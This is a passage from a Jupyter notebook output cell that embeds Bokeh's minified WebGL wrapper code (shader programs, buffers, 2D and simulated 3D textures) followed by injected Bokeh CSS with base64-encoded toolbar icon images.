,5126],vec4:[4,5126]},i.prototype._create=function(){return this.handle=this._gl.createProgram(),this.locations={},this._unset_variables=[],this._validated=!1,this._samplers={},this._attributes={},this._known_invalid=[],null},i.prototype.delete=function(){return this._gl.deleteProgram(this.handle),null},i.prototype.activate=function(){return this._gl.useProgram(this.handle),null},i.prototype.deactivate=function(){return this._gl.useProgram(0),null},i.prototype.set_shaders=function(t,e){var n,a,s,i,r,o,l,_,h,c,f,d,u;for(o=this._gl,this._linked=!1,u=o.createShader(o.VERTEX_SHADER),r=o.createShader(o.FRAGMENT_SHADER),f=[[t,u,\\\"vertex\\\"],[e,r,\\\"fragment\\\"]],_=0;_<2;_+=1)if(n=(c=f[_])[0],l=c[1],d=c[2],o.shaderSource(l,n),o.compileShader(l),h=o.getShaderParameter(l,o.COMPILE_STATUS),!y(h))throw i=o.getShaderInfoLog(l),(s=new Error(\\\"RuntimeError:\\\"+x(\\\"errors in \\\"+d+\\\" shader:\\\\n\\\",i))).name=\\\"RuntimeError\\\",s;if(o.attachShader(this.handle,u),o.attachShader(this.handle,r),o.linkProgram(this.handle),!y(o.getProgramParameter(this.handle,o.LINK_STATUS)))throw(a=new Error(\\\"RuntimeError:Program link error:\\\\n\\\"+o.getProgramInfoLog(this.handle))).name=\\\"RuntimeError\\\",a;return this._unset_variables=this._get_active_attributes_and_uniforms(),o.detachShader(this.handle,u),o.detachShader(this.handle,r),o.deleteShader(u),o.deleteShader(r),this._known_invalid=[],this._linked=!0,null},i.prototype._get_active_attributes_and_uniforms=function(){var s,t,e,n,a,i,r,o,l,_,h,c,f,d,u,g,p,v,m;for(o=this._gl,this.locations={},d=new window.RegExp(\\\"(\\\\\\\\w+)\\\\\\\\s*(\\\\\\\\[(\\\\\\\\d+)\\\\\\\\])\\\\\\\\s*\\\"),a=o.getProgramParameter(this.handle,o.ACTIVE_UNIFORMS),t=o.getProgramParameter(this.handle,o.ACTIVE_ATTRIBUTES),v=[],\\\"object\\\"!=typeof(g=[[s=[],t,o.getActiveAttrib,o.getAttribLocation],[v,a,o.getActiveUniform,o.getUniformLocation]])||Array.isArray(g)||(g=Object.keys(g)),p=0;p<g.length;p+=1)for(m=g[p],e=(u=m)[0],n=u[1],i=u[2],r=u[3],l=0;l<n;l+=1){if(_=i.call(o,this.handle,l),f=_.name,c=f.match(d),y(c))for(f=c[1],h=0;h<_.size;h+=1)b.call(e,[f+\\\"[\\\"+h+\\\"]\\\",_.type]);else b.call(e,[f,_.type]);this.locations[f]=r.call(o,this.handle,f)}return x(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this),function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=v)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this))},i.prototype.set_texture=function(t,e){var n,a,s;if(!y(this._linked))throw(n=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",n;return a=w.call(this.locations,t,-1),y(a<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active texture\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),s=function(){return\\\"function\\\"==typeof this.keys?this.keys.apply(this,arguments):Object.keys(this)}.call(this._samplers).length,g(t,this._samplers)&&(s=this._samplers[t][this._samplers[t].length-1]),this._samplers[t]=[e._target,e.handle,s],this._gl.uniform1i(a,s)),null},i.prototype.set_uniform=function(t,e,n){var a,s,i,r,o,l,_;if(!y(this._linked))throw(i=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",i;if(o=w.call(this.locations,t,-1),y(o<0))return g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active uniform\\\")),null;if(g(t,this._unset_variables)&&P.call(this._unset_variables,t),s=1,c.call(e,\\\"mat\\\")||(a=w.call({int:\\\"float\\\",bool:\\\"float\\\"},e,function(t){if(this.constructor!==String)return this.lstrip.apply(this,arguments);t=void 0===t?\\\" \\\\t\\\\r\\\\n\\\":t;for(var e=0;e<this.length;e++)if(t.indexOf(this[e])<0)return this.slice(e);return\\\"\\\"}.call(e,\\\"ib\\\")),s=Math.floor(n.length/this.ATYPEINFO[a][0])),y(1<s))for(l=0;l<s;l+=1)g(t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&g(_=t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&P.call(this._unset_variables,_);return r=this.UTYPEMAP[e],this.activate(),c.call(e,\\\"mat\\\")?this._gl[r](o,!1,n):this._gl[r](o,n),null},i.prototype.set_attribute=function(t,e,n,a,s){var i,r,o,l,_,h,c,f;if(a=void 0===a?0:a,s=void 0===s?0:s,!y(this._linked))throw(r=new Error(\\\"RuntimeError:Cannot set attribute when program has no code\\\")).name=\\\"RuntimeError\\\",r;return h=n instanceof d,_=w.call(this.locations,t,-1),y(_<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),y(h)&&y(0<s)||u.log(\\\"Variable \\\"+t+\\\" is not an active attribute\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),y(h)?(f=this.ATYPEINFO[e],c=f[0],l=f[1],o=\\\"vertexAttribPointer\\\",i=[c,l,this._gl.FALSE,a,s],this._attributes[t]=[n.handle,_,o,i]):(o=this.ATYPEMAP[e],this._attributes[t]=[0,_,o,n])),null},i.prototype._pre_draw=function(){var t,e,n,a,s,i,r,o,l,_,h,c;for(c in this.activate(),r=this._samplers)r.hasOwnProperty(c)&&(c=r[c],l=(i=c)[0],o=i[1],_=i[2],this._gl.activeTexture(x(this._gl.TEXTURE0,_)),this._gl.bindTexture(l,o));for(c in s=this._attributes)s.hasOwnProperty(c)&&(c=s[c],h=(a=c)[0],e=a[1],n=a[2],t=a[3],y(h)?(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,h),this._gl.enableVertexAttribArray(e)):(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,null),this._gl.disableVertexAttribArray(e)),this._gl[n].apply(this._gl,[].concat([e],t)));return y(this._validated)||(this._validated=!0,this._validate()),null},i.prototype._validate=function(){var t;if(this._unset_variables.length&&u.log(\\\"Program has unset variables: \\\"+this._unset_variables),this._gl.validateProgram(this.handle),!y(this._gl.getProgramParameter(this.handle,this._gl.VALIDATE_STATUS)))throw u.log(this._gl.getProgramInfoLog(this.handle)),(t=new Error(\\\"RuntimeError:Program validation error\\\")).name=\\\"RuntimeError\\\",t;return null},i.prototype.draw=function(t,e){var n,a,s,i,r;if(!y(this._linked))throw(a=new Error(\\\"RuntimeError:Cannot draw program if code has not been set\\\")).name=\\\"RuntimeError\\\",a;return l(this._gl,\\\"before draw\\\"),y(e instanceof o)?(this._pre_draw(),e.activate(),n=e._buffer_size/2,i=this._gl.UNSIGNED_SHORT,this._gl.drawElements(t,n,i,0),e.deactivate()):(s=(r=e)[0],n=r[1],y(n)&&(this._pre_draw(),this._gl.drawArrays(t,s,n))),l(this._gl,\\\"after draw\\\"),null},((a=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,a.prototype._class_name=\\\"Buffer\\\",a.prototype._target=null,a.prototype._usage=35048,a.prototype._create=function(){return this.handle=this._gl.createBuffer(),this._buffer_size=0,null},a.prototype.delete=function(){return this._gl.deleteBuffer(this.handle),null},a.prototype.activate=function(){return this._gl.bindBuffer(this._target,this.handle),null},a.prototype.deactivate=function(){return this._gl.bindBuffer(this._target,null),null},a.prototype.set_size=function(t){return v(t,this._buffer_size)||(this.activate(),this._gl.bufferData(this._target,t,this._usage),this._buffer_size=t),null},a.prototype.set_data=function(t,e){return this.activate(),this._gl.bufferSubData(this._target,t,e),null},(d=function(){_(this,arguments)}).prototype=Object.create(a.prototype),d.prototype._base_class=a.prototype,d.prototype._class_name=\\\"VertexBuffer\\\",d.prototype._target=34962,(o=function(){_(this,arguments)}).prototype=Object.create(a.prototype),o.prototype._base_class=a.prototype,o.prototype._class_name=\\\"IndexBuffer\\\",o.prototype._target=34963,((r=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,r.prototype._class_name=\\\"Texture2D\\\",r.prototype._target=3553,r.prototype._types={Int8Array:5120,Uint8Array:5121,Int16Array:5122,Uint16Array:5123,Int32Array:5124,Uint32Array:5125,Float32Array:5126},r.prototype._create=function(){return this.handle=this._gl.createTexture(),this._shape_format=null},r.prototype.delete=function(){return this._gl.deleteTexture(this.handle),null},r.prototype.activate=function(){return this._gl.bindTexture(this._target,this.handle),null},r.prototype.deactivate=function(){return this._gl.bindTexture(this._target,0),null},r.prototype._get_alignment=function(t){var e,n,a;for(\\\"object\\\"!=typeof(n=[4,8,2,1])||Array.isArray(n)||(n=Object.keys(n)),a=0;a<n.length;a+=1)if(e=n[a],v(t%e,0))return e;return null},r.prototype.set_wrapping=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_S,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_T,e),null},r.prototype.set_interpolation=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_MIN_FILTER,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_MAG_FILTER,e),null},r.prototype.set_size=function(t,e){var n,a,s;return n=(a=t)[0],s=a[1],v([n,s,e],this._shape_format)||(this._shape_format=[n,s,e],this.activate(),this._gl.texImage2D(this._target,0,e,s,n,0,e,this._gl.UNSIGNED_BYTE,null)),this.u_shape=[n,s],null},r.prototype.set_data=function(t,e,n){var a,s,i,r,o,l,_,h,c,f;if(v(e.length,2)&&(e=[e[0],e[1],1]),this.activate(),i=this._shape_format[2],o=(l=e)[0],h=l[1],l[2],f=(_=t)[0],c=_[1],null===(r=w.call(this._types,n.constructor.name,null)))throw(s=new Error(\\\"ValueError:Type \\\"+n.constructor.name+\\\" not allowed for texture\\\")).name=\\\"ValueError\\\",s;return a=this._get_alignment(m(e[e.length-2],e[e.length-1])),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,a),this._gl.texSubImage2D(this._target,0,c,f,h,o,i,r,n),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,4),null},((p=function(){_(this,arguments)}).prototype=Object.create(r.prototype))._base_class=r.prototype,p.prototype._class_name=\\\"Texture3DLike\\\",p.prototype.GLSL_SAMPLE_NEAREST=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float zindex = floor(texcoord.z * shape.z);\\\\n\\\\n            // Do a lookup in the 2D texture\\\\n            float u = (mod(zindex, ncols) + texcoord.x) / ncols;\\\\n            float v = (floor(zindex / ncols) + texcoord.y) / nrows;\\\\n\\\\n            return texture2D(tex, vec2(u,v));\\\\n        }\\\\n    \\\",p.prototype.GLSL_SAMPLE_LINEAR=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float z = texcoord.z * shape.z;\\\\n            float zindex1 = floor(z);\\\\n            float u1 = (mod(zindex1, ncols) + texcoord.x) / ncols;\\\\n            float v1 = (floor(zindex1 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            float zindex2 = zindex1 + 1.0;\\\\n            float u2 = (mod(zindex2, ncols) + texcoord.x) / ncols;\\\\n            float v2 = (floor(zindex2 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            vec4 s1 = texture2D(tex, vec2(u1, v1));\\\\n            vec4 s2 = texture2D(tex, vec2(u2, v2));\\\\n\\\\n            return s1 * (zindex2 - z) + s2 * (z - zindex1);\\\\n        }\\\\n    \\\",p.prototype._get_tile_info=function(t){var e,n,a,s;if(n=this._gl.getParameter(this._gl.MAX_TEXTURE_SIZE),s=Math.floor(n/t[1]),s=Math.min(s,t[0]),a=window.Math.ceil(t[0]/s),y(m(a,t[2])>n))throw(e=new Error(\\\"RuntimeError:Cannot fit 3D data with shape \\\"+t+\\\" onto simulated 2D texture.\\\")).name=\\\"RuntimeError\\\",e;return[s,a]},p.prototype.set_size=function(t,e){var n,a,s,i;return i=this._get_tile_info(t),a=i[0],n=i[1],s=[m(t[1],a),m(t[2],n)],p.prototype._base_class.set_size.call(this,s,e),this.u_shape=[t[0],t[1],t[2]],this.u_tiles=[n,a],null},p.prototype.set_data=function(s,t,e){var n,a,i,r,o,l,_,h,c,f,d,u,g;if(v(t.length,3)&&(t=[t[0],t[1],t[2],1]),!function(t){for(var e=0;e<t.length;e++)if(!y(t[e]))return!1;return!0}(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(v(t,0));return a}.apply(this)))throw(r=new Error(\\\"ValueError:Texture3DLike does not support nonzero offset (for now)\\\")).name=\\\"ValueError\\\",r;if(c=this._get_tile_info(t),l=c[0],o=c[1],h=[m(t[1],l),m(t[2],o),t[3]],v(o,1))p.prototype._base_class.set_data.call(this,[0,0],h,e);else for(n=e.constructor,g=new n(m(m(h[0],h[1]),h[2])),p.prototype._base_class.set_data.call(this,[0,0],h,g),u=0;u<t[0];u+=1)f=[Math.floor(u/o),u%o],_=f[0],a=f[1],i=Math.floor(e.length/t[0]),d=e.slice(m(u,i),m(u+1,i)),p.prototype._base_class.set_data.call(this,[m(_,t[1]),m(a,t[2])],t.slice(1),d);return null},e.exports={Buffer:a,GlooObject:s,IndexBuffer:o,Program:i,Texture2D:r,Texture3DLike:p,VertexBuffer:d,check_error:l,console:u}}})}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-gl.min.js.map\\n\",\n       \"      /* END bokeh-gl.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      Bokeh.set_log_level(\\\"info\\\");\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      \\n\",\n       \"    },\\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh.min.css */\\\\n.bk-root{font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif;font-size:10pt;position:relative;width:auto;height:auto}.bk-root .bk-shading{position:absolute;display:block;border:1px dashed green}.bk-root .bk-tile-attribution a{color:black}.bk-root .bk-tool-icon-box-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg0kduFrowAAAIdJREFUWMPtVtEKwCAI9KL//4e9DPZ3+wP3KgOjNZouFYI4C8q7s7DtB1lGIeMoRMRinCLXg/ML3EcFqpjjloOyZxRntxpwQ8HsgHYARKFAtSFrCg3TCdMFCE1BuuALEXJLjC4qENsFVXCESZw38/kWLOkC/K4PcOc/Hj03WkoDT3EaWW9egQul6CUbq90JTwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-box-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg82t254aQAAAkBJREFUWMPN11+E1FEUB/DPTFn2qaeIpcSwr5NlUyJiKWVXWUqvlUh/iE3RY9mUekkPPURtLKNRrFJEeuphGfUUaVliiX1aVjGs6aG7+XX9ZnZ+d2fTl2vmnHvPPfeee/79Sk+may2/UQq/q7Qu+bAJoxjHIKqB/wlfUMcMVqI9bLZ+DGIKwzlzQ2GcxCx2xwvKOUKlaHTiX8bHNspjDONHkOmJBW5jIof/FvPh/06MZOb6cRc7cGn1AKUE5cdzlM/gAr5F/O24H3xkFRfxAbVygvK+cIsspjGWo1zgjeFpxL+BvnLw7laBA4xjIFJwrgu52DoVjKdY4HBEX8dSF3JLYe1fe6UcYCii3xWQjdfuSTnAtoheKCC7GNED5Zx4L4qt61jbTLHA94geKSC7P7ZeShQ0Inoi1IJuEOeORooFXkV0FZNdZs5qvFfKAeqYy7nZ6yg//HG0MBfffh71lFrQDCW2EvEP4mt4okZUDftz9rmGZkotmMxJRtlisy+MTniAWrty3AlXw0hFM2TD89l+oNsoOJXjbIs4EpqNtTCLXbiZ0g+M4mFObj8U3vsNjoZCVcmk60ZwthpepLZkB/AsivWfOJZxtpUQHfWib7KWDwzjeegBZJSdKFiE2qJTFFTwElsi/unQ/awXrU4WGMD7nOJxBY/1EO2iYConq93CHT1GOwucjdqnRyFz+VcHmMNefMY9nNkA3SWUOoXhQviSWQ4huLIRFlirFixnQq/XaKXUgg2xQNGv4V7x/RcW+AXPB3h7H1PaiQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-zoom-in{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsUBmL8iQAAA2JJREFUWMO9l12IlFUYx3//MzPrLpSjkm5oN4FFIWVEl66IQlFYwtLOzozsjHdGRSCRF0sfBEXRVV0FQuQiLm5CZNBFgRRaRLVFhbJ2EdiN5gbK7toObTPn6eYdPTvNzPvOBz5Xh/ec5/n/n89zXtEHmZqeSXSuXBz/3zfdKvBWJHQrwZuRcP0El+QkbQXeBX6WZEgm6TtJk5lM5o4Lc+cV6qpf4Ga20Tm338zeATItVK9Ker6yvPzp4NDQ3+XieGsCU9MzTYumGbhz7m4ze9/MHgvBgItACrgfGAj2jgAvAYs3wlEujjc13kii8YyZrXXOfWhmo9GnFUlvOOemarVapVqtkslksmb2KjARqL62ecuWN9NxbRInzrldAXhV0uFSIfdew7G/gNLU9MwS8CwSmE3Oz88fcXG5blfpqVRq0Ix8VIAAX0XgrVL7HDCHGcCaWrV60LUBN8Dae58aQIxEqcA592I9M610JL0cpG/U9TIHJNKY3RV5z0R+7Nd4HZ0P1g/2RMBuegLAsRMnb4vT8d5vqKfMzOgtAlADrkmqGywmiMBTwfr3dC9j1Xv/r6Tvg/5/5ejxE6cO7M9faVbQZrYNOFSPmqQvVo9FKexvi5uWX58943aM7DwAfBDY+FbSCxP5sdkGx55GeguzrUEXPaSo2pFkAbiSZQCAzZJOmdkjwd6SpB/M7KykQTPbA2wDhoIzRzcNDx9MJwGNIXdJ0mEzmwbujL7dbma7gd03A7lKfnTOvf74nl0r6bonTUbujRSUCrm2d4L3/kvn3JPe+8+BDW2i9o+kT7z3kxP5sYsA6W47oE64TsR7P9tQL4vA2mh9WdIscKxUyJ0M7aR7acOGzikD65EQLEjaa2ZXzMwDFeB6qZBbbLTRE4EGeSaozNOZgYFf8qP7lmIvs354n0qlHpB0T7B9Ogl4IgJJrmjv/SiQjbrkD+BMUkfSbYATPdckrTOzkciWAXOlQu5cYgLdPEIapud9wMOR9zVJH3ViKx333mtHMJvNuoWFhZ3A+ojMcja77njXBEKwJJfTcqUyCIQ34Mf7nnh0paMnXacFuGoC1mr3AtuDfLzd8Zuyl+rfuGn4HLAD+Az4qZQf+61TAj0Noj8vX6oC35SL43u7teG6rf5+iXppwW7/JUL5D03qaFRvvUe+AAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-zoom-out{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsHgty9VwAAA0FJREFUWMO9l09oXFUUxn/fmXlpItppi22k7UJBRSlVkCytSAuKUloIdjKT0El3FXVXdVFKRVAQV7qQohsNwdA0UFvBhYtqUVyIVlRaogtFQVq7qSTVjA3z3nHzBq/jvPmTN/Ss7rv3nvN99/y794kByMzcfE/7picn/jenmwWeRUI3E7wdCRskuCSTdDfwBvCtJEdySV9KOhpF0e0/LF5SqKtBgbv7ZjObcvfXgShD9Zqk5+orKx8Oj4z8NT05kU1gZm6+bdK0Azezu9z9hLs/HoIBvwAF4H5gKFh7B3gBWFY3460kWve4+3oze9fdx9OpVUmvmNlMHMf1RqNBFEUldz8OHAxUX9q6bduryut+Sfvc/Wz62ZD0fK1afjND9y3gGSRwv1GMojstTxUUCoVhdyopEYDzKXjWwZ4FFnEHWBc3Goet00m7lZlZYQixKw0FZnakGZksHUnHgvCN5/KARBH37enpOVg58H13HV0Kxg/kIuD/ngSA2ZMLt3bTSZJkUzNk7k4+D0AM/CGpaXCyBw/sC8Y/qZd2GpZiuL9YLN4Sx/HpoP5/c/exQ1OVq+1yyt13SLoArEsJnMjlgfOffvK3u58Kprab2QezJxfG2iTzUzI70wRPG9jbmpmb95SNB9mpzp7/j2yVdNbdx4K565K+cvfPJQ27+x5gBzAS7Hlvy+jo4WIvoC3kWpcvS3rR3eeAO9K529x9N7C7zX6AC2b28hN7Hl1Vt44niVq13LUjmtlYkiQfA5s6eO+GpDNJkhw9NFX5ueNt2ARodyF1IHIN2JiOl4H16fiKpK+B2Vq1vBAqFAf4IJkGNiIhWJK0192vunsC1IE/a9XycquNXARa5OnApeeioaHvKuP7r3dTGsiLqFAo7JR0T7B8rhfwXARa2us4UEqr5Ffgs151i/08oTNKdIO770ptObBYq5Yv5ibQq/sl3Qc8lJ4+lnSqH1vFfp9koZRKJVtaWnqkWXqSVkqlDe+vmUDWpZMlK/X6MBDegKf3P/nYaj8ErN9fqZBYEsf3Ag8G8Xit33BaniTcvGX0IvAw8BHwTa1y4Md+CeRqRL9fudwAvpienNi7Vhu21uwflOT+L+i1X2TJP57iUvUFtHWsAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-help{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABltpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPHRpZmY6Q29tcHJlc3Npb24+NTwvdGlmZjpDb21wcmVzc2lvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzI8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyPC90aWZmOllSZXNvbHV0aW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpDb2xvclNwYWNlPjE8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMzIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDNDIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMTIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDMjIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6U2VxLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxNjoxMToyOCAxMToxMTo4MjwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+UGl4ZWxtYXRvciAzLjY8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cphjt2AAAAT7SURBVFgJxRdbaFxFdGb2bhui227BWrsVKYgf2kJUbP9EUPuzEB803WTXJjH61Q/7Ya1+CMYKEVTsh4J/EpvY7BoabUiNiA8s1p+4KIhpoUUEselHqyS76TbZ3HuP58ydc3d2u4+IkQxczpz3mZkzZ86VYpXjvenpjZsLhUcliE4AuUuASAgptmt1EFdwPiclzIIUUwubNn17OJlcXo1p2UpodHRiux9xB1Eug1+slbzhFxGOKc851tu7/0oznYYBDA8Pt0U2tL8KQryIq2tvZqQhD0QJHRz3yqWhgYGBpXpydQMwqz6NCnurleCSADkJEfgKfOePqL80R/wV1ZaQyr1LenKfkPCkEPKeaj0xg7vxVL3duCmA0Vyuw/fl52hgBxsBED+h4Cv9z3R/zbRm8MTJTx7HQN7GQB6w5C4L4SX7M5lfLBpurjXMyvNIShiyi0l1pL8n9b7EDGPR8fHxzSsQ6XDB3618/xqo6Pk25V5MpVJllgHM1BO58RdQ612kOYZ+GXdij70TYQB05mpj+1kU5G2fB+l3PZtOf8NGx6ambnMXb3yAxg8wjSEG6OKKR9oicBQD+ZvpH2Wzj0lQpxCPG9qMv1x6hHNCsSAlHM7ZOa682vlI9tRDbvHGbD3nZAPpDoD/3JIrLpAs26UFkC3EMUA99hpfGtEBfJjNJnS2Gwnadnvl+Xw+iuc3DAJuNyIaSCHpilVldyDjjUxj3WDZIAhxhHHyRcdNuA7AAfUaXzVKODpzFiZ4/uLvh5G+m2no+C/pyIf7MqlEJB7bpqR6nXkEUfbeawuLaZsW2ISfNQ2vtaktQlGFQyIVGT0o2+2EC4iQNGwjBIN9qdQ5Qg4mk4X4rW3vCClLtowE2FOFUxKDfNmiZci3ovKKRFPh4FK9q4Zbdr+lKKJiA13TcHR2dmLBgdmQ0GAS2MZaEowY+XbAk09IvgtYZGp16SyvFhaHcIUh645t8T9DBCcnz5zZ4hZLu3DzK2QlL1QQa0Y+pHiJKPSuOGj3PmZTheM5w2TwqBxnvBZOTk7G5gvXJ5Aelms8wnJURL+olSWcfEhf6gDoUXPMq6ZlqbzWU2pE+3hi4s6F68tfIj9cBMlikr7Z0/P0b/X0yIcUXsDCF1WhtL4OROHaXk+xlkbV0Cu732Nmhc4peaWSg73pA8dq5RkvO37ldUTfXCKZv2q45MkhvG87WQEzpCCUSvV1d9GONBy3lMvgKSwrZig8gjAietWY0QriylO2jIo4yVbOSb7KB